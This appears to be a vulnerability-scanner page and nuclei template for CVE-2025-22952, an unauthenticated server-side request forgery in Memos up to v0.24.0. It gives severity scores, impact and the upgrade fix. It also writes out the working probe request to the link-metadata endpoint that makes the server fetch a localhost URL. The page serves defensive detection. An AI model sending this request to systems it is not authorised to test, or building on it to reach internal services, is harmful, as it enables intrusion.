Elestio Memos <= v0.24.0 - Server-Side Request Forgery

criticalseverity

9.8CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

elestio memos v0.23.0 is vulnerable to Server-Side Request Forgery (SSRF) due to insufficient validation of user-supplied URLs, which can be exploited to perform SSRF attacks.

Impact

Unauthenticated attackers can exploit SSRF vulnerabilities to access internal services, bypass network security controls, and potentially retrieve sensitive information from internal systems.

Fix

Upgrade to Memos version 0.24.1 or later that properly validates and restricts URL access.

How to confirm it

Send: GET /api/v1/markdown/link:metadata?link=http://localhost:13042
Positive when: contains "localhost:13042" and "connect: connection refused" AND contains in content_type "application/json" AND status 500

Run it with nuclei: nuclei -id CVE-2025-22952 -u <target>

The full check

id: CVE-2025-22952

info:
  name: Elestio Memos <= v0.24.0 - Server-Side Request Forgery
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    elestio memos v0.23.0 is vulnerable to Server-Side Request Forgery (SSRF) due to insufficient validation of user-supplied URLs, which can be exploited to perform SSRF attacks.
  impact: |
    Unauthenticated attackers can exploit SSRF vulnerabilities to access internal services, bypass network security controls, and potentially retrieve sensitive information from internal systems.
  remediation: |
    Upgrade to Memos version 0.24.1 or later that properly validates and restricts URL access.
  reference:
    - https://github.com/advisories/GHSA-wfxg-v3j4-7qmj
    - https://elest.io/open-source/memos
    - https://github.com/usememos/memos
    - https://github.com/usememos/memos/issues/4413
    - https://github.com/usememos/memos/pull/4428
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-22952
    cwe-id: CWE-918
    epss-score: 0.02932
    epss-percentile: 0.87199
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1924700661
  tags: cve,cve2025,elestio,memos,ssrf,oast,vuln,vkev

http:
  - raw:
      - |
        GET /api/v1/markdown/link:metadata?link=http://localhost:13042 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'localhost:13042'
          - 'connect: connection refused'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from